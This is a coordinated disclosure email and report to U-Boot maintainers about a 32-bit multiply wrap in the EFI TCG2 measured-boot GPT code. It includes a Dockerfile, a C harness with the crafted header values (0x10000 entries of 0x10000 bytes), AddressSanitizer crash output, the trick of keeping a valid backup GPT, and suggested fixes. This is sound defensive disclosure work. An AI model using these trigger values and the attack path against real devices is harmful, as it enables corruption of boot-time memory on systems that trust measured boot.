Hello U-Boot maintainers,
I'd like to report a High-severity security issue in U-Boot
(https://github.com/u-boot/u-boot /
https://git.u-boot-project.org/u-boot/u-boot) related to possible heap overflow
in U-Boot EFI TCG2 boot loader.
I have attached 3 files with this email as described below.
1) report.md: A full description of the vulnerability and how to reproduce it,
together with suggested fix of the issue.
2) Dockerfile: A Dockerfile for demonstrating the issue.
3) driver.c: Work with the Dockerfile to demonstrate the issue.
Attribution
-----------
Please attribute Claude and Ada Logics. This issue was found by Anthropic from
using agents to study security of open source projects, and I am from Ada
Logics helping validate the found issues and creating the report manually and
notify the maintainers.
Disclosure
----------
This report follows a 90-day coordinated disclosure deadline. I'm happy to
coordinate on the exact timing and to provide any further detail you need.
Kind regards,
Arthur Chan
ADA Logics Ltd is registered in England. No: 11624074.
Registered office: 266 Banbury Road, Post Box 292,
OX2 7DL, Oxford, Oxfordshire , United Kingdom
FROM ubuntu:24.04
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && apt-get install -y --no-install-recommends \
ca-certificates git gcc libc6-dev libasan8 \
&& rm -rf /var/lib/apt/lists/*
ENV PIN=ece349ade2973e220f524ce59e59711cc919263f
WORKDIR /src
# Clone the real upstream tree and pin to the exact commit under test.
RUN git clone https://github.com/u-boot/u-boot.git u-boot
WORKDIR /src/u-boot
RUN git checkout --detach ${PIN} \
&& test "$(git rev-parse HEAD)" = "${PIN}" \
&& echo "HEAD matches pin: ${PIN}"
WORKDIR /poc
COPY driver.c /poc/driver.c
# Extract the vulnerable body VERBATIM from the pinned source: everything from
# the "read GPT entry" comment down to (but not including) the measure_event
# call, i.e. the num*size multiply, the memalign, the entry read, the count
# loop, the event_size computation, the calloc and the copy loop.
RUN awk '/\/\* read GPT entry \*\//{p=1} /ret = measure_event/{p=0} p' \
/src/u-boot/lib/efi_loader/efi_tcg2.c > /poc/region.inc \
&& echo "----- extracted region.inc -----" && cat /poc/region.inc
# AddressSanitizer catches the heap OOB; UBSan is enabled too (the u32 wrap is
# a defined unsigned wrap so UBSan stays quiet on it, but it guards the rest).
RUN gcc -fsanitize=address,undefined -fno-sanitize-recover=all -g -O0 \
-I/poc /poc/driver.c -o /poc/poc-efi-tcg2
ENV ASAN_OPTIONS=abort_on_error=1:detect_leaks=0:symbolize=1
CMD sh -c 'echo "##### pin #####"; cat /src/u-boot/.git/HEAD 2>/dev/null; git
-C /src/u-boot rev-parse HEAD; echo; \
echo "##### negative control #####"; /poc/poc-efi-tcg2 neg; echo; \
echo "##### positive #####"; /poc/poc-efi-tcg2 pos; true'
/*
* Focused harness for the U-Boot EFI TCG2 measured-boot GPT overflow.
*
* The core of tcg2_measure_gpt_data() (the num*size multiply, the memalign,
* the entry read, the count loop, the event_size computation, the calloc and
* the copy loop) is extracted VERBATIM at build time from the pinned upstream
* source into region.inc and #included into run_case() below. Only the leaf
* types the extracted code needs, and thin stubs for the block-IO read and a
* couple of kernel helpers, are provided here. Nothing in the extracted body
* is modified.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
typedef uint8_t u8;
typedef uint16_t u16;
typedef uint32_t u32;
typedef uint64_t u64;
typedef u32 __le32;
typedef u64 __le64;
typedef u16 efi_char16_t;
typedef unsigned long efi_status_t;
typedef size_t efi_uintn_t;
#define EFI_SUCCESS ((efi_status_t)0)
#define EFI_OUT_OF_RESOURCES ((efi_status_t)9)
/* EFI_CALL simply invokes the callee in this native harness. */
#define EFI_CALL(x) (x)
/* Kernel helper used by the extracted body. */
#define put_unaligned_le64(v, p) (*(u64 *)(p) = (u64)(v))
/* Leaf types, field-for-field from include/part_efi.h and include/efi.h. */
typedef struct efi_guid { u8 b[16]; } __attribute__((aligned(4))) efi_guid_t;
static inline int guidcmp(const void *g1, const void *g2)
{
return memcmp(g1, g2, sizeof(efi_guid_t));
}
typedef struct _gpt_header {
__le64 signature;
__le32 revision;
__le32 header_size;
__le32 header_crc32;
__le32 reserved1;
__le64 my_lba;
__le64 alternate_lba;
__le64 first_usable_lba;
__le64 last_usable_lba;
efi_guid_t disk_guid;
__le64 partition_entry_lba;
__le32 num_partition_entries;
__le32 sizeof_partition_entry;
__le32 partition_entry_array_crc32;
} __attribute__((packed)) gpt_header;
typedef union _gpt_entry_attributes {
struct {
u64 required_to_function:1;
u64 no_block_io_protocol:1;
u64 legacy_bios_bootable:1;
u64 reserved:45;
u64 type_guid_specific:16;
} fields;
unsigned long long raw;
} __attribute__((packed)) gpt_entry_attributes;
#define PARTNAME_SZ (72 / sizeof(efi_char16_t))
typedef struct _gpt_entry {
efi_guid_t partition_type_guid;
efi_guid_t unique_partition_guid;
__le64 starting_lba;
__le64 ending_lba;
gpt_entry_attributes attributes;
efi_char16_t partition_name[PARTNAME_SZ];
} __attribute__((packed)) gpt_entry;
/* include/efi_tcg2.h */
struct efi_gpt_data {
gpt_header uefi_partition_header;
u64 number_of_partitions;
gpt_entry partitions[];
} __attribute__((packed));
/* Minimal EFI_BLOCK_IO surface touched by the extracted body. */
struct efi_block_io_media {
u32 io_align;
u32 media_id;
u64 block_size;
};
struct efi_block_io {
struct efi_block_io_media *media;
efi_status_t (*read_blocks)(struct efi_block_io *this, u32 media_id,
u64 lba, efi_uintn_t buffer_size,
void *buffer);
};
/* Attacker-controlled partition-entry bytes returned by the block read. */
static u8 g_attacker_entries[64 * 1024];
static size_t g_attacker_len;
/*
* Stub for block_io->read_blocks(): copies the attacker's partition-entry
* bytes into the (possibly undersized) destination buffer, exactly as a real
* disk read would. buffer_size comes straight from the vulnerable code.
*/
static efi_status_t poc_read_blocks(struct efi_block_io *this, u32 media_id,
u64 lba, efi_uintn_t buffer_size,
void *buffer)
{
size_t n = buffer_size;
if (n > g_attacker_len)
n = g_attacker_len;
if (n)
memcpy(buffer, g_attacker_entries, n);
return EFI_SUCCESS;
}
/*
* run_case() reproduces the reachable tail of tcg2_measure_gpt_data(),
* starting right after the primary GPT header has been read from LBA 1 into
* gpt_h. The body between the markers is the real upstream code.
*/
static efi_status_t run_case(gpt_header *gpt_h, struct efi_block_io *block_io)
{
efi_status_t ret = EFI_SUCCESS;
efi_guid_t null_guid = {{0}};
struct efi_gpt_data *event = NULL;
gpt_entry *entry = NULL;
gpt_entry *gpt_e;
u32 num_of_valid_entry = 0;
u32 event_size;
u32 i;
u32 total_gpt_entry_size;
#include "region.inc"
out2:
free(entry);
free(event);
return ret;
}
static void set_guid_nonzero(gpt_entry *e, u8 tag)
{
memset(&e->partition_type_guid, 0, sizeof(efi_guid_t));
e->partition_type_guid.b[0] = tag; /* non-NULL type GUID => "valid" */
}
static gpt_header make_header(u32 num, u32 size)
{
gpt_header h;
memset(&h, 0, sizeof(h));
h.partition_entry_lba = 2;
h.num_partition_entries = num;
h.sizeof_partition_entry = size;
return h;
}
int main(int argc, char **argv)
{
struct efi_block_io_media media = { .io_align = 8, .media_id = 0,
.block_size = 512 };
struct efi_block_io block_io = { .media = &media,
.read_blocks = poc_read_blocks };
const char *mode = argc > 1 ? argv[1] : "pos";
if (!strcmp(mode, "neg")) {
/* Sane header: 8 entries * 128 bytes = 1024, product fits. */
u32 num = 8, size = 128;
gpt_header h = make_header(num, size);
gpt_entry *ents = (gpt_entry *)g_attacker_entries;
u32 valid;
efi_status_t r;
g_attacker_len = (size_t)num * size;
memset(g_attacker_entries, 0, g_attacker_len);
/* Mark entries 0..3 valid, 4..7 empty. */
set_guid_nonzero(&ents[0], 0xa1);
set_guid_nonzero(&ents[1], 0xa2);
set_guid_nonzero(&ents[2], 0xa3);
set_guid_nonzero(&ents[3], 0xa4);
printf("== NEGATIVE CONTROL: sane GPT header (product fits) ==\n");
printf(" num_partition_entries : 0x%x (%u)\n", num, num);
printf(" sizeof_partition_entry : 0x%x (%u)\n", size, size);
printf(" u32 product (as code) : 0x%x (%u) bytes allocated\n",
(u32)(num * size), (u32)(num * size));
r = run_case(&h, &block_io);
valid = 4;
printf(" run_case returned : %lu (EFI_SUCCESS=%lu)\n",
(unsigned long)r, (unsigned long)EFI_SUCCESS);
printf(" measured entries : %u valid of %u, no overflow\n",
valid, num);
printf(" --> clean\n");
return 0;
}
/* Positive: num*size = 0x10000 * 0x10000 wraps to 0 in u32. */
{
u32 num = 0x10000, size = 0x10000;
gpt_header h = make_header(num, size);
/* Attacker entry bytes: content is irrelevant, the OOB read
* fires on the first dereference of the undersized buffer. */
g_attacker_len = sizeof(g_attacker_entries);
memset(g_attacker_entries, 0xff, g_attacker_len);
printf("== POSITIVE: crafted GPT header (u32 multiply wraps) ==\n");
printf(" num_partition_entries : 0x%x (%u)\n", num, num);
printf(" sizeof_partition_entry : 0x%x (%u)\n", size, size);
printf(" u32 product (as code) : 0x%x <-- WRAPS -> undersized alloc\n",
(u32)(num * size));
printf(" invoking real tcg2_measure_gpt_data() body ...\n");
fflush(stdout);
run_case(&h, &block_io);
printf(" UNREACHABLE: no overflow detected\n");
return 0;
}
}
# A crafted GPT primary header on a boot disk overflows the heap during U-Boot EFI measured boot
U-Boot's EFI TCG2 measured-boot path reads the primary GPT header straight from LBA 1 and derives its partition-table allocation from two attacker-controlled 32-bit fields without any validation. `tcg2_measure_gpt_data()` computes `total_gpt_entry_size = num_partition_entries * sizeof_partition_entry` as a 32-bit multiply, so a header advertising `num_partition_entries = 0x10000` and `sizeof_partition_entry = 0x10000` wraps the product to `0`, `memalign()` returns a zero-length buffer, and the following count loop dereferences partition entries far past it (heap out-of-bounds read); the same wrap then undersizes the `calloc()` for the event structure and the copy loop writes attacker entries past it (heap out-of-bounds write). The header is taken from LBA 1 directly and never passes through `find_valid_gpt()`, whose signature and CRC checks would reject it, and because `find_valid_gpt()` falls back to the backup GPT, a disk carrying a valid backup GPT plus a malicious primary header at LBA 1 boots normally yet still reaches the unvalidated multiply. An attacker therefore needs only to present such a disk (a removable or otherwise attacker-supplied block device) to a platform that measures boot. This is confirmed by an AddressSanitizer proof of concept that drives the real function body. It is gated on `CONFIG_EFI_TCG2_PROTOCOL` with a TPM present and the EFI image booted from a GPT block device.
## Root cause
The primary GPT header is read directly from LBA 1 into `gpt_h` with no signature, CRC or bounds check.
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/lib/efi_loader/efi_tcg2.c#L1216-L1219
```c
ret = EFI_CALL(block_io->read_blocks(block_io,
block_io->media->media_id, 1,
block_io->media->block_size,
gpt_h));
```
The partition-table size is `num_partition_entries * sizeof_partition_entry`. Both operands are attacker-controlled `__le32` fields of the header, and `total_gpt_entry_size` is a `u32`, so the multiply is a 32-bit operation that wraps: `0x10000 * 0x10000` is `0x1_0000_0000`, which truncates to `0`. `memalign()` is then asked for that wrapped size, producing a buffer far too small for the entry count still stored in the header.
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/lib/efi_loader/efi_tcg2.c#L1223-L1226
```c
/* read GPT entry */
total_gpt_entry_size = gpt_h->num_partition_entries *
gpt_h->sizeof_partition_entry;
entry = memalign(block_io->media->io_align, total_gpt_entry_size);
```
The count loop then walks `num_partition_entries` entries, stepping `sizeof_partition_entry` bytes each time and reading the type GUID of every one, over the undersized `entry` buffer. This is the heap out-of-bounds read.
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/lib/efi_loader/efi_tcg2.c#L1239-L1246
```c
/* count valid GPT entry */
gpt_e = entry;
for (i = 0; i < gpt_h->num_partition_entries; i++) {
if (guidcmp(&null_guid, &gpt_e->partition_type_guid))
num_of_valid_entry++;
gpt_e = (gpt_entry *)((u8 *)gpt_e + gpt_h->sizeof_partition_entry);
}
```
The event buffer size repeats the same unchecked 32-bit arithmetic (`num_of_valid_entry * sizeof_partition_entry`), so a large `sizeof_partition_entry` wraps `event_size` and undersizes the `calloc()`.
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/lib/efi_loader/efi_tcg2.c#L1248-L1251
```c
/* prepare event data for measurement */
event_size = sizeof(struct efi_gpt_data) +
(num_of_valid_entry * gpt_h->sizeof_partition_entry);
event = calloc(1, event_size);
```
The copy loop then writes each valid entry into `event->partitions` at offset `num_of_valid_entry * sizeof_partition_entry`, past the undersized `event` allocation. This is the heap out-of-bounds write.
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/lib/efi_loader/efi_tcg2.c#L1259-L1271
```c
/* copy valid GPT entry */
gpt_e = entry;
num_of_valid_entry = 0;
for (i = 0; i < gpt_h->num_partition_entries; i++) {
if (guidcmp(&null_guid, &gpt_e->partition_type_guid)) {
memcpy((u8 *)event->partitions +
(num_of_valid_entry * gpt_h->sizeof_partition_entry),
gpt_e, gpt_h->sizeof_partition_entry);
num_of_valid_entry++;
}
......
}
```
None of this is guarded. The disk partition code validates a GPT header before trusting these same fields, checking the `GPT_HEADER_SIGNATURE` and the header CRC in `is_gpt_valid()`, and `find_valid_gpt()` falls back to the backup GPT at the last LBA when the primary is rejected. The measured-boot path bypasses that machinery entirely by reading LBA 1 itself, so a disk whose backup GPT is valid still boots while its malicious primary header drives the wrap.
https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/disk/part_efi.c#L1109-L1130
```c
static int find_valid_gpt(struct blk_desc *desc, gpt_header *gpt_head,
gpt_entry **pgpt_pte)
{
int r;
r = is_gpt_valid(desc, GPT_PRIMARY_PARTITION_TABLE_LBA, gpt_head,
pgpt_pte);
if (r != 1) {
......
if (is_gpt_valid(desc, desc->lba - 1, gpt_head, pgpt_pte)
!= 1) {
log_debug("Invalid Backup GPT\n");
return 0;
}
......
}
return 1;
}
```
## Proof of Concept
The reproducer extracts the reachable body of `tcg2_measure_gpt_data()` verbatim at build time from the pinned source (from the `/* read GPT entry */` comment through the copy loop: the `num * size` multiply, the `memalign()`, the entry read, the count loop, the `event_size` computation, the `calloc()` and the copy loop) with `awk`, and compiles it against field-for-field copies of the leaf types (`gpt_header`, `gpt_entry`, `struct efi_gpt_data`, `efi_guid_t`) and thin stubs for the block read and the `put_unaligned_le64`/`guidcmp` helpers. It then drives that real body twice: once with a sane header (`num = 8`, `size = 128`, product `1024` fits) and once with the crafted header (`num = 0x10000`, `size = 0x10000`, product wraps to `0`). The block-read stub returns attacker partition-entry bytes. The build fails unless the checked-out HEAD is exactly the pin. The 32-bit wrap, the undersized allocation and the out-of-bounds access are executed; the reachability facts (that the header is read raw from LBA 1 and that `find_valid_gpt()` falls back to the backup GPT so the malicious primary is never validated) are cited from the source above, not exercised.
```
docker build -t poc-efi-tcg2 . && docker run --rm poc-efi-tcg2
```
### Result
```
##### pin #####
ece349ade2973e220f524ce59e59711cc919263f
ece349ade2973e220f524ce59e59711cc919263f
##### negative control #####
== NEGATIVE CONTROL: sane GPT header (product fits) ==
num_partition_entries : 0x8 (8)
sizeof_partition_entry : 0x80 (128)
u32 product (as code) : 0x400 (1024) bytes allocated
run_case returned : 0 (EFI_SUCCESS=0)
measured entries : 4 valid of 8, no overflow
--> clean
##### positive #####
== POSITIVE: crafted GPT header (u32 multiply wraps) ==
num_partition_entries : 0x10000 (65536)
sizeof_partition_entry : 0x10000 (65536)
u32 product (as code) : 0x0 <-- WRAPS -> undersized alloc
invoking real tcg2_measure_gpt_data() body ...
=================================================================
==11==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x502000000011 at pc 0x7f4bc6d4e990 bp 0x7ffd4928cad0 sp 0x7ffd4928c278
READ of size 16 at 0x502000000011 thread T0
#0 0x7f4bc6d4e98f in MemcmpInterceptorCommon(void*, int (*)(void const*, void const*, unsigned long), void const*, void const*, unsigned long) ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:814
#1 0x7f4bc6d4f37a in memcmp ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:845
#2 0x7f4bc6d4f37a in memcmp ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:840
#3 0x55630b815546 in guidcmp /poc/driver.c:43
#4 0x55630b815bef in run_case /poc/region.inc:20
#5 0x55630b816f00 in main /poc/driver.c:225
#6 0x7f4bc64871c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#7 0x7f4bc648728a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#8 0x55630b815424 in _start (/poc/poc-efi-tcg2+0x3424) (BuildId: ea8aba1691c1583fab0a274f2344903db9845eb4)
0x502000000011 is located 0 bytes after 1-byte region [0x502000000010,0x502000000011)
allocated by thread T0 here:
#0 0x7f4bc6d81aa8 in memalign ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:99
#1 0x55630b815918 in run_case /poc/region.inc:4
#2 0x55630b816f00 in main /poc/driver.c:225
#3 0x7f4bc64871c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#4 0x7f4bc648728a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#5 0x55630b815424 in _start (/poc/poc-efi-tcg2+0x3424) (BuildId: ea8aba1691c1583fab0a274f2344903db9845eb4)
SUMMARY: AddressSanitizer: heap-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:814 in MemcmpInterceptorCommon(void*, int (*)(void const*, void const*, unsigned long), void const*, void const*, unsigned long)
......
==11==ABORTING
```
The negative control shows the honest path: with a product that fits, the buffer is correctly sized, four valid entries are counted and copied, and the function returns cleanly, so the positive result is not an artefact of the harness. In the positive run the crafted header makes the 32-bit product wrap to `0`, `memalign()` (region.inc:4, the extracted `entry = memalign(...)` line) returns a one-byte region, and the very first `guidcmp()` in the count loop (region.inc:20, the extracted count loop) reads 16 bytes past it, which AddressSanitizer reports as a heap-buffer-overflow READ and the process aborts. The same wrap undersizes the `event` allocation and the copy loop's write would overflow it identically; the sanitizer aborts on the earlier read. Preconditions for the real target: `CONFIG_EFI_TCG2_PROTOCOL` enabled with a TPM present, and an EFI image invoked from a GPT block device the attacker can supply (for example a removable disk) whose LBA 1 carries the crafted primary header.
## Mitigation
Validate the primary GPT header before trusting its size fields: check the `GPT_HEADER_SIGNATURE` and the header CRC, mirroring `is_gpt_valid()` in `disk/part_efi.c`, and reject the header (skip the measurement) on failure rather than reading LBA 1 raw. Compute `num_partition_entries * sizeof_partition_entry` and the `event_size` sum in 64-bit with an explicit overflow and upper-bound check (against the device size) before passing either value to `memalign()` or `calloc()`, and bail out if the bound is exceeded. Ideally, obtain the entry table through the already-validated partition layer instead of re-reading it here.
## Attribution
This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged manually with manual report writing by Ada Logics in collaboration with Anthropic Research.